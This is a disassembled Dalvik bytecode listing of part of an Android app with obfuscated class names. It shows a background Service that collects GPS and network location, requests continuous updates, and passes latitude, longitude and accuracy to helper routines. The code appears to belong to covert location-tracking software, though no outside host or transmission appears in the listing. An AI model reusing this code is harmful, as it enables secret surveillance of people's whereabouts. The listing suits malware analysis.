    00082cb4sget-object v0, Lcmf0/c3b5bm90zq/patch/C15;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082cb8iget-object v1, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082cbcinvoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    00082cc2move-result-object v1
    00082cc4invoke-virtual {v7}, Landroid/location/Location;->getAccuracy()F
    00082ccamove-result v2
    00082cccinvoke-static {v2}, Ljava/lang/String;->valueOf(F)Ljava/lang/String;
    00082cd2move-result-object v2
    00082cd4const-string v3, "acc"
    00082cd8invoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00082cdeiget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082ce2invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C15;->c(Lcmf0/c3b5bm90zq/patch/C15;)Ljava/lang/String;
    00082ce8move-result-object v0
    00082ceainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00082cf0invoke-virtual {v7}, Landroid/location/Location;->getProvider()Ljava/lang/String;
    00082cf6move-result-object v7
    00082cf8const-string v0, "network"
    00082cfcinvoke-virtual {v7, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00082d02move-result v7
    00082d04if-eqz v7, :cond_123
    00082d08iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d0cinvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->e(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationManager;
    00082d12move-result-object v7
    00082d14const-string v0, "gps"
    00082d18invoke-virtual {v7, v0}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    00082d1emove-result v7
    00082d20if-eqz v7, :cond_123
    00082d24iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d28invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->e(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationManager;
    00082d2emove-result-object v7
    00082d30iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d34invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C15;->f(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationListener;
    00082d3amove-result-object v0
    00082d3cinvoke-virtual {v7, v0}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
    00082d42iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d46const/4 v0, 0x1
    00082d48invoke-static {v7, v0}, Lcmf0/c3b5bm90zq/patch/C15;->a(Lcmf0/c3b5bm90zq/patch/C15;Z)Z
    00082d4eiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d52invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->e(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationManager;
    00082d58move-result-object v0
    00082d5aconst-string v1, "gps"
    00082d5eiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d62invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->g(Lcmf0/c3b5bm90zq/patch/C15;)J
    00082d68move-result-wide v2
    00082d6aiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d6einvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->h(Lcmf0/c3b5bm90zq/patch/C15;)J
    00082d74move-result-wide v4
    00082d76long-to-float v4, v4
    00082d78iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C15$1;->a:Lcmf0/c3b5bm90zq/patch/C15;
    00082d7cinvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C15;->f(Lcmf0/c3b5bm90zq/patch/C15;)Landroid/location/LocationListener;
    00082d82move-result-object v5
    00082d84invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
    00082d8areturn-void
    00082b34
    00082d8c
    00082d8c struct try_item
    00082d8c start_addr uint32 0x82d24
    00082d90 insn_count int 15
    00082d92 handler_off uint16 0x82d95
    00082d94
    00082d94 struct encoded_catch_handler_list
    00082d94 size int 1
    00082d95
    00082d95 struct encoded_catch_handler ← 0x82d92
    00082d95 size int64 1
    00082d96 handlers[0].type_idx int 0x5994
    00082d98 handlers[0].addr uint32 0x82d42
    00082d9a
    00082d9a // align 0x4
    00082d9c
    00082d9ccmf0.c3b5bm90zq.patch.C15$1::onProviderDisabled(java.lang.String):
    00082dacnew-instance v5, Ljava/lang/StringBuilder;
    00082db0invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    00082db6sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082dbaconst-wide/16 v2, 0x49
    00082dbeinvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082dc4move-result-object v0
    00082dc6invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082dccsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082dd0invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082dd6sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082ddaconst-wide/16 v2, 0x53
    00082ddeinvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082de4move-result-object v0
    00082de6invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082decsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082df0invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082df6const-string v0, "Gps is turned off "
    00082dfainvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e00sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082e04invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e0aconst-string v0, "null"
    00082e0einvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e14sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082e18invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e1econst-string v0, "null"
    00082e22invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e28sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082e2cinvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e32const-string v0, "null"
    00082e36invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e3cinvoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00082e42move-result-object v5
    00082e44invoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00082e4areturn-void
    00082d9c
    00082e4c
    00082e4ccmf0.c3b5bm90zq.patch.C15$1::onProviderEnabled(java.lang.String):
    00082e5cnew-instance v5, Ljava/lang/StringBuilder;
    00082e60invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    00082e66sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082e6aconst-wide/16 v2, 0x49
    00082e6einvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082e74move-result-object v0
    00082e76invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e7csget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082e80invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e86sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082e8aconst-wide/16 v2, 0x53
    00082e8einvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082e94move-result-object v0
    00082e96invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082e9csget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082ea0invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ea6const-string v0, "Gps is turned on "
    00082eaainvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082eb0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082eb4invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ebaconst-string v0, "null"
    00082ebeinvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ec4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082ec8invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ececonst-string v0, "null"
    00082ed2invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ed8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082edcinvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082ee2const-string v0, "null"
    00082ee6invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082eecinvoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00082ef2move-result-object v5
    00082ef4invoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00082efareturn-void
    00082e4c
    00082efc
    00082efccmf0.c3b5bm90zq.patch.C15$1::onStatusChanged(java.lang.String, int, android.os.Bundle):
    00082f0creturn-void
    00082efc
    00082f0e
    00082f0e // align 0x10
    00082f10
    00082f10cmf0.c3b5bm90zq.patch.C15::<clinit>():
    00082f20new-instance v0, Lcmf0/c3b5bm90zq/patch/a;
    00082f24invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/a;-><init>()V
    00082f2asput-object v0, Lcmf0/c3b5bm90zq/patch/C15;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082f2ereturn-void
    00082f10
    00082f30
    00082f30cmf0.c3b5bm90zq.patch.C15::<init>():
    00082f40invoke-direct {v2}, Landroid/app/Service;-><init>()V
    00082f46const-wide/16 v0, 0x1388
    00082f4aiput-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->b:J
    00082f4econst-wide/16 v0, 0x0
    00082f52iput-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->c:J
    00082f56const-wide/16 v0, 0x0
    00082f5aiput-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00082f5eiput-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    00082f62const/4 v0, 0x0
    00082f64iput-boolean v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->j:Z
    00082f68return-void
    00082f30
    00082f6a
    00082f6a // align 0x4
    00082f6c
    00082f6ccmf0.c3b5bm90zq.patch.C15::a(cmf0.c3b5bm90zq.patch.C15):
    00082f7ciget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00082f80return-wide v0
    00082f6c
    00082f82
    00082f82 // align 0x4
    00082f84
    00082f84cmf0.c3b5bm90zq.patch.C15::a(cmf0.c3b5bm90zq.patch.C15, double):
    00082f94iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    00082f98return-wide v1
    00082f84
    00082f9a
    00082f9a // align 0x4
    00082f9c
    00082f9ccmf0.c3b5bm90zq.patch.C15::a(cmf0.c3b5bm90zq.patch.C15, java.lang.String):
    00082faciput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C15;->h:Ljava/lang/String;
    00082fb0return-object v1
    00082f9c
    00082fb2
    00082fb2 // align 0x4
    00082fb4
    00082fb4cmf0.c3b5bm90zq.patch.C15::a():
    00082fc4const-wide/16 v0, 0x53
    00082fc8const-wide/16 v2, 0x49
    00082fccconst-string v4, "location"
    00082fd0invoke-virtual {v12, v4}, Lcmf0/c3b5bm90zq/patch/C15;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00082fd6move-result-object v4
    00082fd8check-cast v4, Landroid/location/LocationManager;
    00082fdciput-object v4, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    00082fe0new-instance v4, Lcmf0/c3b5bm90zq/patch/C15$1;
    00082fe4invoke-direct {v4, v12}, Lcmf0/c3b5bm90zq/patch/C15$1;-><init>(Lcmf0/c3b5bm90zq/patch/C15;)V
    00082feaiput-object v4, v12, Lcmf0/c3b5bm90zq/patch/C15;->f:Landroid/location/LocationListener;
    00082feeinvoke-virtual {v12}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    00082ff4move-result-object v4
    00082ff6const-string v5, "android.permission.ACCESS_FINE_LOCATION"
    00082ffainvoke-static {v4, v5}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
    00083000move-result v4
    00083002if-eqz v4, :cond_2e
    00083006invoke-virtual {v12}, Lcmf0/c3b5bm90zq/patch/C15;->getApplicationContext()Landroid/content/Context;
    0008300cmove-result-object v4
    0008300econst-string v5, "android.permission.ACCESS_COARSE_LOCATION"
    00083012invoke-static {v4, v5}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
    00083018move-result v4
    0008301aif-eqz v4, :cond_2e
    0008301ereturn-void
    00083020iget-object v4, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    00083024const-string v5, "network"
    00083028invoke-virtual {v4, v5}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    0008302emove-result v4
    00083030iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    00083034const-string v6, "gps"
    00083038invoke-virtual {v5, v6}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    0008303emove-result v5
    00083040if-nez v5, :cond_8f
    00083044if-nez v4, :cond_8f
    00083048new-instance v4, Ljava/lang/StringBuilder;
    0008304cinvoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
    00083052sget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083056invoke-static {v5, v6, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008305cmove-result-object v5
    0008305einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083064sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083068invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008306esget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083072invoke-static {v5, v6, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083078move-result-object v5
    0008307ainvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083080sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083084invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008308aconst-string v5, "Can't get location by any one "
    0008308einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083094sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083098invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008309econst-string v5, "null"
    000830a2invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830a8sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000830acinvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830b2const-string v5, "null"
    000830b6invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830bcsget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000830c0invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830c6const-string v5, "null"
    000830cainvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000830d0invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000830d6move-result-object v4
    000830d8invoke-static {v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000830degoto/16 :goto_1df
    000830e2const-wide/16 v6, 0x6b
    000830e6if-eqz v4, :cond_fe
    000830eaiget-object v8, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000830eeconst-string v9, "network"
    000830f2invoke-virtual {v8, v9}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
    000830f8move-result-object v8
    000830faif-eqz v8, :cond_168
    000830feinvoke-virtual {v8}, Landroid/location/Location;->getLongitude()D
    00083104move-result-wide v9
    00083106iput-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    0008310ainvoke-virtual {v8}, Landroid/location/Location;->getLatitude()D
    00083110move-result-wide v9
    00083112iput-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00083116new-instance v9, Ljava/lang/StringBuilder;
    0008311ainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00083120sget-wide v10, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083124invoke-static {v10, v11, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008312amove-result-object v10
    0008312cinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083132sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083136invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008313csget-wide v10, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083140invoke-static {v10, v11, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083146move-result-object v6
    00083148invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008314esget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083152invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083158iget-wide v6, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    0008315cinvoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00083162sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083166invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008316ciget-wide v6, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    00083170invoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00083176sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008317ainvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083180const-string v6, "LKL "
    00083184invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008318ainvoke-virtual {v8}, Landroid/location/Location;->getProvider()Ljava/lang/String;
    00083190move-result-object v6
    00083192invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083198sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008319cinvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000831a2invoke-virtual {v8}, Landroid/location/Location;->getAccuracy()F
    000831a8move-result v6
    000831aainvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
    000831b0invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000831b6move-result-object v6
    000831b8invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000831begoto :goto_168
    000831c0if-eqz v5, :cond_168
    000831c4iget-object v8, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000831c8const-string v9, "gps"
    000831ccinvoke-virtual {v8, v9}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
    000831d2move-result-object v8
    000831d4if-eqz v8, :cond_168
    000831d8invoke-virtual {v8}, Landroid/location/Location;->getLongitude()D
    000831demove-result-wide v9
    000831e0iput-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    000831e4invoke-virtual {v8}, Landroid/location/Location;->getLatitude()D
    000831eamove-result-wide v9
    000831eciput-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    000831f0new-instance v9, Ljava/lang/StringBuilder;
    000831f4invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    000831fasget-wide v10, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000831feinvoke-static {v10, v11, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083204move-result-object v10
    00083206invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008320csget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083210invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083216sget-wide v10, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008321ainvoke-static {v10, v11, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00083220move-result-object v6
    00083222invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083228sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008322cinvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083232iget-wide v6, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00083236invoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    0008323csget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083240invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083246iget-wide v6, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    0008324ainvoke-virtual {v9, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
    00083250sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083254invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008325aconst-string v6, "LKL "
    0008325einvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083264invoke-virtual {v8}, Landroid/location/Location;->getProvider()Ljava/lang/String;
    0008326amove-result-object v6
    0008326cinvoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083272sget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083276invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008327cinvoke-virtual {v8}, Landroid/location/Location;->getAccuracy()F
    00083282move-result v6
    00083284invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
    0008328ainvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00083290move-result-object v6
    00083292goto :goto_fa
    00083294if-eqz v4, :cond_17d
    00083298iget-boolean v4, v12, Lcmf0/c3b5bm90zq/patch/C15;->j:Z
    0008329cif-nez v4, :cond_1df
    000832a0iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000832a4const-string v6, "network"
    000832a8iget-wide v7, v12, Lcmf0/c3b5bm90zq/patch/C15;->b:J
    000832aciget-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->c:J
    000832b0long-to-float v9, v9
    000832b2iget-object v10, v12, Lcmf0/c3b5bm90zq/patch/C15;->f:Landroid/location/LocationListener;
    000832b6invoke-virtual/range {v5 .. v10}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
    000832bcgoto :goto_1df
    000832beif-eqz v5, :cond_1df
    000832c2iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C15;->g:Landroid/location/LocationManager;
    000832c6const-string v6, "gps"
    000832caiget-wide v7, v12, Lcmf0/c3b5bm90zq/patch/C15;->b:J
    000832ceiget-wide v9, v12, Lcmf0/c3b5bm90zq/patch/C15;->c:J
    000832d2long-to-float v9, v9
    000832d4iget-object v10, v12, Lcmf0/c3b5bm90zq/patch/C15;->f:Landroid/location/LocationListener;
    000832d8goto :goto_179
    000832damove-exception v4
    000832dcnew-instance v5, Ljava/lang/StringBuilder;
    000832e0invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    000832e6sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000832eainvoke-static {v6, v7, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000832f0move-result-object v2
    000832f2invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000832f8sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000832fcinvoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083302sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00083306invoke-static {v2, v3, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008330cmove-result-object v0
    0008330einvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083314sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083318invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008331einvoke-virtual {v4}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    00083324move-result-object v0
    00083326invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008332csget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083330invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
